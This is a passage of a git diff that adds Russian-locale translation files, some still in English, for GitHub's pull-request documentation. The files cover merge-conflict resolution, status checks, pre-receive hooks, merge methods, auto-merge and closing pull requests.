_BRANCH_**. Текст кнопки соответствует выполняемому действию. +1. Чтобы выполнить слияние запроса на вытягивание, нажмите **Слияние запроса на вытягивание**. Дополнительные сведения о других вариантах слияния запросов на вытягивание см. в статье [Слияние запросов на вытягивание](/articles/merging-a-pull-request/). + +## Дополнительные материалы + +- [Сведения о слиянии запросов на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md new file mode 100644 index 000000000000..a53dcfa122db --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md @@ -0,0 +1,131 @@ +--- +title: Resolving a merge conflict using the command line +intro: You can resolve merge conflicts using the command line and a text editor. +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line + - /articles/resolving-a-merge-conflict-from-the-command-line + - /articles/resolving-a-merge-conflict-using-the-command-line + - /github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-using-the-command-line + - /github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Resolve merge conflicts in Git +--- +Merge conflicts occur when competing changes are made to the same line of a file, or when one person edits a file and another person deletes the same file. For more information, see "[About merge conflicts](/articles/about-merge-conflicts/)." + +{% tip %} + +**Tip:** You can use the conflict editor on {% data variables.product.product_name %} to resolve competing line change merge conflicts between branches that are part of a pull request. For more information, see "[Resolving a merge conflict on GitHub](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)." + +{% endtip %} + +## Competing line change merge conflicts + +To resolve a merge conflict caused by competing line changes, you must choose which changes to incorporate from the different branches in a new commit. + +For example, if you and another person both edited the file _styleguide.md_ on the same lines in different branches of the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches. + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Navigate into the local Git repository that has the merge conflict. + ```shell + cd REPOSITORY-NAME + ``` +3. Generate a list of the files affected by the merge conflict. In this example, the file *styleguide.md* has a merge conflict. + ```shell + $ git status + > # On branch branch-b + > # You have unmerged paths. + > # (fix conflicts and run "git commit") + > # + > # Unmerged paths: + > # (use "git add <file>..." to mark resolution) + > # + > # both modified: styleguide.md + > # + > no changes added to commit (use "git add" and/or "git commit -a") + ``` +4. Open your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), and navigate to the file that has merge conflicts. +5. To see the beginning of the merge conflict in your file, search the file for the conflict marker `<<<<<<<`. When you open the file in your text editor, you'll see the changes from the HEAD or base branch after the line `<<<<<<< HEAD`. Next, you'll see `=======`, which divides your changes from the changes in the other branch, followed by `>>>>>>> BRANCH-NAME`. In this example, one person wrote "open an issue" in the base or HEAD branch and another person wrote "ask your question in IRC" in the compare branch or `branch-a`. + + ``` + If you have questions, please + <<<<<<< HEAD + open an issue + ======= + ask your question in IRC. + >>>>>>> branch-a + ``` +{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} In this example, both changes are incorporated into the final merge: + + ```shell + If you have questions, please open an issue or ask in our IRC channel if it's more urgent. + ``` +7. Add or stage your changes. + ```shell + $ git add . + ``` +8. Commit your changes with a comment. + ```shell + $ git commit -m "Resolved merge conflict by incorporating both suggestions." + ``` + +You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request. + +## Removed file merge conflicts + +To resolve a merge conflict caused by competing changes to a file, where a person deletes a file in one branch and another person edits the same file, you must choose whether to delete or keep the removed file in a new commit. + +For example, if you edited a file, such as *README.md*, and another person removed the same file in another branch in the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches. + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Navigate into the local Git repository that has the merge conflict. + ```shell + cd REPOSITORY-NAME + ``` +2. Generate a list of the files affected by the merge conflict. In this example, the file *README.md* has a merge conflict. + ```shell + $ git status + > # On branch main + > # Your branch and 'origin/main' have diverged, + > # and have 1 and 2 different commits each, respectively. + > # (use "git pull" to merge the remote branch into yours) + > # You have unmerged paths. + > # (fix conflicts and run "git commit") + > # + > # Unmerged paths: + > # (use "git add/rm <file>..." as appropriate to mark resolution) + > # + > # deleted by us: README.md + > # + > # no changes added to commit (use "git add" and/or "git commit -a") + ``` +3. Open your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), and navigate to the file that has merge conflicts. +6. Decide if you want keep the removed file. You may want to view the latest changes made to the removed file in your text editor. + + To add the removed file back to your repository: + ```shell + $ git add README.md + ``` + To remove this file from your repository: + ```shell + $ git rm README.md + > README.md: needs merge + > rm 'README.md' + ``` +7. Commit your changes with a comment. + ```shell + $ git commit -m "Resolved merge conflict by keeping README.md file." + > [branch-d 6f89e49] Merge branch 'branch-c' into branch-d + ``` + +You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request. + +## Further reading + +- "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)" +- "[Checking out pull requests locally](/articles/checking-out-pull-requests-locally/)" diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md new file mode 100644 index 000000000000..d01bd8675953 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md @@ -0,0 +1,89 @@ +--- +title: Сведения о проверках состояния +intro: 'Проверки состояния позволяют узнать, удовлетворяют ли ваши фиксации условиям, заданным для репозитория, в котором вы работаете.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks + - /articles/about-statuses + - /articles/about-status-checks + - /github/collaborating-with-issues-and-pull-requests/about-status-checks + - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: 759889bd4f014e4bc2afff5f182a0b7258c8bb07 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065869' +--- +Проверки состояния основаны на внешних процессах, таких как сборки непрерывной интеграции, которые выполняются для каждой отправки в репозиторий. В запросе на вытягивание можно увидеть состояние *ожидание*, *прохождение* или *сбой* проверок состояния рядом с отдельными фиксациями в вашем запросе на вытягивание. + +![Список фиксаций и состояний](/assets/images/help/pull_requests/commit-list-statuses.png) + +Любой, у кого есть разрешения на запись в репозиторий, может установить состояние для любой проверки состояния в репозитории. + +Общее состояние последней фиксации в ветви можно увидеть на странице ветвей репозитория или в списке запросов на вытягивание репозитория. + +{% data reusables.pull_requests.required-checks-must-pass-to-merge %} + +## Типы проверок состояния на {% data variables.product.product_name %} + +Существует два типа проверок состояния для {% data variables.product.product_name %}: + +- Проверки +- Состояния + +_Проверки_ отличаются от _состояний_ тем, что они предоставляют заметки строк, более подробные обмены сообщениями и доступны только для использования с {% data variables.product.prodname_github_apps %}. + +Владельцы и пользователи организации с принудительным доступом к репозиторию могут создавать проверки и состояния с помощью API {% data variables.product.product_name %}. Дополнительные сведения см. в разделах [Проверки](/rest/reference/checks) и [Состояния](/rest/reference/commits#commit-statuses). + +## Проверки + +При настройке _проверок_ в репозитории запросы на вытягивание имеют вкладку **Проверки**, где можно просмотреть подробные выходные данные сборки из проверок состояния и повторно запустить неудачные проверки. + +![Проверки состояния в запросе на вытягивание](/assets/images/help/pull_requests/checks.png) + +{% note %} + +**Примечание.** Вкладка **Проверки** заполняется только для запросов на вытягивание, если для репозитория настроены _проверки_, а не _состояния_. + +{% endnote %} + +Если определенная строка в фиксации приводит к сбою проверки, вы увидите сведения о сбое, предупреждения или уведомления рядом с соответствующим кодом на вкладке **Файлы** запроса на вытягивание. + +![Подробная информация о проверке состояния](/assets/images/help/pull_requests/checks-detailed.png) + +Можно перемещаться между сводками проверок для различных фиксаций в запросе на вытягивание, используя раскрывающееся меню фиксации на вкладке **Беседа**. + +![Проверка сводок по различным фиксациям в раскрывающемся меню](/assets/images/help/pull_requests/checks-summary-for-various-commits.png) + +### Пропуск и запрос проверок для отдельных фиксаций + +Если репозиторий настроен на автоматический запрос проверки для отправки, можно пропустить проверки для отдельной фиксации, отправленной вами. Если репозиторий _не_ настроен на автоматический запрос проверки для отправки, можно запросить проверки для отдельной фиксации, отправленной вами. Дополнительные сведения об этих параметрах см. в разделе [Наборы тестов для проверки](/rest/reference/checks#update-repository-preferences-for-check-suites). + +Чтобы пропустить или запросить проверки фиксации, добавьте одну из следующих замыкающих строк в конец сообщения фиксации: + +- Чтобы _пропустить проверки_ для фиксации, введите сообщение о фиксации и краткое содержательное описание изменений. После описания фиксации перед закрывающим цитированием добавьте две пустые строки, за которыми следует `skip-checks: true`: + ```shell + $ git commit -m "Update README + > + > + skip-checks: true" + ``` +- Для _запроса_ проверок фиксации введите сообщение о фиксации и краткое содержательное описание изменений. После описания фиксации перед закрывающим цитированием добавьте две пустые строки, за которыми следует `request-checks: true`: + ```shell + $ git commit -m "Refactor usability tests + > + > + request-checks: true" + ``` + +{% ifversion fpt or ghec %} +### Хранение проверок состояния + +{% data reusables.pull_requests.retention-checks-data %} {% endif %} diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md new file mode 100644 index 000000000000..eccee69bf23e --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md @@ -0,0 +1,27 @@ +--- +title: Совместная работа с репозиториями с функциями оценки качества кода +intro: 'Функции качества рабочего процесса, такие как состояния, {% ifversion ghes %}обработчики предварительного получения, {% endif %}защищенные ветви и необходимые проверки состояния позволяют участникам совместной работы внести вклад, отвечающий условиям, которые определены администраторами организации и репозитория.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features + - /articles/collaborating-on-repositories-with-code-quality-features-enabled + - /articles/collaborating-on-repositories-with-code-quality-features + - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +children: + - /about-status-checks + - /working-with-pre-receive-hooks +shortTitle: Code quality features +ms.openlocfilehash: ba28472ee86b566f5b72d445d9a06d7b4756f01a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139678' +--- + diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md new file mode 100644 index 000000000000..c31c548849c8 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md @@ -0,0 +1,39 @@ +--- +title: Работа с перехватчиками предварительного получения +intro: '*Перехватчики предварительного получения* применяют правила для вкладов, прежде чем фиксации можно будет отправить в репозиторий.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks + - /articles/working-with-pre-receive-hooks + - /github/collaborating-with-issues-and-pull-requests/working-with-pre-receive-hooks + - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks +versions: + ghes: '*' +shortTitle: Pre-receive hooks +ms.openlocfilehash: 6ca26aed9e9d92abfb6d742f7f4ca968c442b447 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332595' +--- +Перехватчики предварительного получения выполняют тесты для отправляемого в репозиторий кода, чтобы обеспечить соответствие вкладов политике репозитория или организации. Если содержимое фиксации успешно проходит тесты, отправка принимается в репозиторий. Если содержимое фиксации не проходит тесты, отправка не принимается. + +Если отправка не принята, появится сообщение об ошибке, соответствующее перехватчику предварительного получения, для которого произошел сбой. + +```shell +$ git push +Counting objects: 3, done. +Delta compression using up to 4 threads. +Compressing objects: 100% (2/2), done. +Writing objects: 100% (3/3), 916 bytes | 0 bytes/s, done. +Total 3 (delta 0), reused 0 (delta 0) +remote: always_reject.sh: failed with exit status 1 +remote: error: rejecting all pushes +To https://54.204.174.51/hodor/nope.git + ! [remote rejected] main -> main (pre-receive hook declined) +error: failed to push some refs to 'https://54.204.174.51/hodor/nope.git' +``` + +![Сообщение об ошибке для перехватчика предварительного получения, для которого произошел сбой](/assets/images/help/pull_requests/pre-receive-hook-failed-error.png) + +Администратор сайта {% data variables.product.product_name %} может создавать и удалять перехватчики предварительного получения для организации или репозитория, а также разрешить администраторам организации или репозитория включать или отключать такие перехватчики. Дополнительные сведения см. в разделе [Принудительное применение политики с использованием перехватчиков предварительного получения](/enterprise/admin/guides/developer-workflow/using-pre-receive-hooks-to-enforce-policy). diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md new file mode 100644 index 000000000000..6699eb372e16 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md @@ -0,0 +1,43 @@ +--- +title: Сведения о моделях совместной разработки +intro: 'Способ применения запросов на вытягивание зависит от типа модели разработки, используемой в проекте. Можно использовать модель создания вилок и вытягивания или модель общего репозитория.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/getting-started/about-collaborative-development-models + - /articles/types-of-collaborative-development-models + - /articles/about-collaborative-development-models + - /github/collaborating-with-issues-and-pull-requests/about-collaborative-development-models + - /github/collaborating-with-pull-requests/getting-started/about-collaborative-development-models +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Collaborative development +ms.openlocfilehash: 2a054071dc801ac035f3925e81895200c0a7375d +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146139187' +--- +## Модель создания вилок и вытягивания + +В такой модели любой пользователь может разветвить существующий репозиторий и отправить изменения в свою личную вилку. Для отправки изменений в принадлежащую пользователю вилку не требуются разрешения на исходный репозиторий. Извлекать изменения в исходный репозиторий может координатор проекта. Если открыть запрос на вытягивание, в котором предлагаются изменения из принадлежащей вам вилки, в ветви в исходном (вышестоящем) репозитории, вы можете разрешить любому пользователю с доступом на отправку к вышестоящему репозиторию вносить изменения в ваш запрос на вытягивание. Эта модель популярна в проектах с открытым кодом, так как она позволяет новым участникам без лишних сложностей влиться в проект и дает возможность пользователям работать независимо без предварительной координации. + +{% tip %} + +**Совет.** {% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning %} + +{% endtip %} + +## Модель общего репозитория + +В модели общего репозитория участники совместной работы получают доступ на отправку к одному общему репозиторию, а при необходимости внесения изменений создаются тематические ветки. В этой модели эффективно применяются запросы на вытягивание, поскольку они позволяют инициировать проверку кода и общее обсуждение набора изменений, прежде чем изменения будут объединены в основную ветвь разработки. Эта модель преобладает в небольших командах и организациях, ведущих совместную работу над частными проектами. + +## Дополнительные материалы + +- [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) +- [Создание запроса на вытягивание из вилки](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) +- [Разрешение изменений в ветви запроса на вытягивание, созданной из вилки](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md new file mode 100644 index 000000000000..59142ee714ff --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md @@ -0,0 +1,28 @@ +--- +title: Начало работы +shortTitle: Getting started +intro: 'Узнайте о потоке {% data variables.product.prodname_dotcom %} и различных способах совместной работы и обсуждения проектов.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/getting-started + - /github/collaborating-with-issues-and-pull-requests/overview + - /github/collaborating-with-pull-requests/getting-started +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Discussions + - Fundamentals +children: + - /about-collaborative-development-models +ms.openlocfilehash: f8f4e6547b525ceebf1131db468c5a81b3b9d6fd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145137777' +--- + diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md new file mode 100644 index 000000000000..32c3ec760b35 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md @@ -0,0 +1,90 @@ +--- +title: About pull request merges +intro: 'You can [merge pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) by retaining all the commits in a feature branch, squashing all commits into a single commit, or by rebasing individual commits from the `head` branch onto the `base` branch.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges + - /articles/about-pull-request-merge-squashing + - /articles/about-pull-request-merges + - /github/collaborating-with-issues-and-pull-requests/about-pull-request-merges + - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +--- +## Merge your commits + +{% data reusables.pull_requests.default_merge_option %} + +## Squash and merge your commits + +{% data reusables.pull_requests.squash_and_merge_summary %} + +### Merge message for a squash merge + +{% ifversion default-merge-squash-commit-message %} +When you squash and merge, {% data variables.product.prodname_dotcom %} generates a default commit message, which you can edit. Depending on how the repository is configured and the number of commits in the pull request, not including merge commits, this message may include the pull request title, pull request description, or information about the commits. +{% else %} +When you squash and merge, {% data variables.product.prodname_dotcom %} generates a default commit message, which you can edit. The default message depends on the number of commits in the pull request, not including merge commits. + +Number of commits | Summary | Description | +----------------- | ------- | ----------- | +One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit +More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order +{% endif %} + +Number of commits | Summary | Description | +----------------- | ------- | ----------- | +One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit +More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order + +{% ifversion default-merge-squash-commit-message %} +People with maintainer or admin access to a repository can configure their repository's default merge message for all squashed commits to use the pull request title, the pull request title and commit details, or the pull request title and description. For more information, see "[Configure commit squashing](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)".{% endif %} + +{% ifversion ghes = 3.6 %} +People with admin access to a repository can configure the repository to use the title of the pull request as the default merge message for all squashed commits. For more information, see "[Configure commit squashing](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)". +{% endif %} + +### Squashing and merging a long-running branch + +If you plan to continue work on the [head branch](/github/getting-started-with-github/github-glossary#head-branch) of a pull request after the pull request is merged, we recommend you don't squash and merge the pull request. + +When you create a pull request, {% data variables.product.prodname_dotcom %} identifies the most recent commit that is on both the head branch and the [base branch](/github/getting-started-with-github/github-glossary#base-branch): the common ancestor commit. When you squash and merge the pull request, {% data variables.product.prodname_dotcom %} creates a commit on the base branch that contains all of the changes you made on the head branch since the common ancestor commit. + +Because this commit is only on the base branch and not the head branch, the common ancestor of the two branches remains unchanged. If you continue to work on the head branch, then create a new pull request between the two branches, the pull request will include all of the commits since the common ancestor, including commits that you squashed and merged in the previous pull request. If there are no conflicts, you can safely merge these commits. However, this workflow makes merge conflicts more likely. If you continue to squash and merge pull requests for a long-running head branch, you will have to resolve the same conflicts repeatedly. + +## Rebase and merge your commits + +{% data reusables.pull_requests.rebase_and_merge_summary %} + +You aren't able to automatically rebase and merge on {% data variables.location.product_location %} when: +- The pull request has merge conflicts. +- Rebasing the commits from the base branch into the head branch runs into conflicts. +- Rebasing the commits is considered "unsafe," such as when a rebase is possible without merge conflicts but would produce a different result than a merge would. + +If you still want to rebase the commits but can't rebase and merge automatically on {% data variables.location.product_location %} you must: +- Rebase the topic branch (or head branch) onto the base branch locally on the command line +- [Resolve any merge conflicts on the command line](/articles/resolving-a-merge-conflict-using-the-command-line/). +- Force-push the rebased commits to the pull request's topic branch (or remote head branch). + +Anyone with write permissions in the repository, can then [merge the changes](/articles/merging-a-pull-request/) using the rebase and merge button on {% data variables.location.product_location %}. + +## Indirect merges + +A pull request can be merged automatically if its head branch is directly or indirectly merged into the base branch externally. In other words, if the head branch's tip commit becomes reachable from the tip of the target branch. For example: + +* Branch `main` is at commit **C**. +* Branch `feature` has been branched off of `main` and is currently at commit **D**. This branch has a pull request targeting `main`. +* Branch `feature_2` is branched off of `feature` and is now at commit **E**. This branch also has a pull request targeting `main`. + +If pull request **E** --> `main` is merged first, pull request **D** --> `main` will be marked as merged *automatically* because all of the commits from `feature` are now reachable from `main`. Merging `feature_2` into `main` and pushing `main` to the server from the command line will mark *both* pull requests as merged. + +Pull requests in this situation will be marked as `merged` even if [branch protection rules](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules) have not been satisfied. + +## Further reading + +- "[About pull requests](/articles/about-pull-requests/)" +- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)" diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md new file mode 100644 index 000000000000..37551064457a --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md @@ -0,0 +1,63 @@ +--- +title: Автоматическое слияние запроса на вытягивание +intro: 'Скорость разработки можно увеличить благодаря автоматическому слиянию запроса на вытягивание, которое будет автоматически выполняться при соблюдении всех требований к слиянию.' +product: '{% data reusables.gated-features.auto-merge %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request + - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request +shortTitle: Merge PR automatically +ms.openlocfilehash: 07069657c870751849d3b7e80c7817f908c2bda5 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147770916' +--- +## Сведения об автоматическом слиянии + +Если включить автоматическое слияние для запроса на вытягивание, этот запрос будет объединяться автоматически при выполнении всех необходимых проверок, включая проверки состояния. Автоматическое слияние не предусматривает, чтобы вы ждали выполнения требований, поэтому вы можете перейти к другим задачам. + +Прежде чем использовать автоматическое слияние с запросом на вытягивание, необходимо включить автоматическое слияние для репозитория. Дополнительные сведения см. в статье "[Управление автоматическим слиянием для запросов на вытягивание в репозитории](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)". + +Если после включения автоматического слияния для запроса на вытягивание кто-то без разрешений на запись в репозиторий отправит новые изменения в головную ветвь или переключит базовую ветвь запроса на вытягивание, автоматическое слияние будет отключено. Например, если средство поддержки включает автоматическое слияние для запроса на вытягивание из вилки, после отправки участником новых изменений в запрос на вытягивание автоматическое слияние отключается. + +Вы можете оставить отзыв об автоматическом слиянии в [обсуждении {% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/pull-requests). + +## Включение автоматического слияния + +{% data reusables.pull_requests.auto-merge-requires-branch-protection %} + +Пользователи с разрешениями на запись в репозиторий могут включить автоматическое слияние для запроса на вытягивание. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} +1. В списке Pull Requests (Запросы на вытягивание) выберите тот, который нужно изменить. +1. При необходимости, чтобы указать метод слияния, выберите раскрывающееся меню **Enable auto-merge** (Включить автоматическое слияние), а затем щелкните метод слияния. Дополнительную информацию см. в статье [Сведения о слияниях запросов на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges). + ![Раскрывающееся меню Enable auto-merge (Включить автоматическое слияние)](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png) +1. Щелкните кнопку **Enable auto-merge** (Включить автоматическое слияние). + ![Кнопка для включения автоматического слияния](/assets/images/help/pull_requests/enable-auto-merge-button.png) {% ifversion fpt %} +1. Если вы указали методы слияния со сжатием, введите сообщение и описание для фиксации, а также выберите адрес электронной почты, который вы хотите создать для фиксации слияния. + ![Поля для ввода сообщения и описания для фиксации и выбора адреса электронной почты автора фиксации](/assets/images/help/pull_requests/pull-request-information-fields.png) {% note %} + + **Примечание.** Раскрывающееся меню электронной почты недоступно, если у вас включена конфиденциальность электронной почты или есть только один подтвержденный и видимый адрес электронной почты, связанный с вашей учетной записью {% data variables.product.company_short %}. + + {% endnote %} {% endif %} {% ifversion ghes or ghae or ghec %} +1. Если вы выбрали методы слияния со сжатием, введите сообщение и описание для фиксации. + ![Поля для ввода сообщения и описания для фиксации](/assets/images/help/pull_requests/pull-request-information-fields-enterprise.png) {% endif %} +1. Щелкните кнопку **Confirm auto-merge** (Подтвердить автоматическое слияние). + +## Отключение автоматического слияния + +Пользователи с разрешениями на запись в репозиторий и авторы запросов на вытягивание могут отключить автоматическое слияние для запроса на вытягивание. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} +1. В списке Pull Requests (Запросы на вытягивание) выберите тот, который нужно изменить. +1. В поле слияния нажмите кнопку **Disable auto-merge** (Отключить автоматическое слияние). + ![Кнопка для отключения автоматического слияния](/assets/images/help/pull_requests/disable-auto-merge-button.png) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md new file mode 100644 index 000000000000..582ee11e764c --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md @@ -0,0 +1,33 @@ +--- +title: Закрытие запроса на вытягивание +intro: 'Вы можете *закрыть* запрос на вытягивание, [не объединяя его в вышестоящей ветви](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). Это удобно, если предложенные в ветви изменения больше не нужны или если в другой ветви было предложено другое решение.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request + - /articles/closing-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/closing-a-pull-request + - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: 51048cfd4ae917149d81a011a8ec5418ca4beb51 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139673' +--- +{% tip %} + +**Совет.** Если вы открыли запрос на вытягивание с неправильной базовой ветвью, можно не закрывать его и открывать заново, а просто изменить базовую ветвь. Дополнительные сведения см. в разделе [Изменение базовой ветви запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request). + +{% 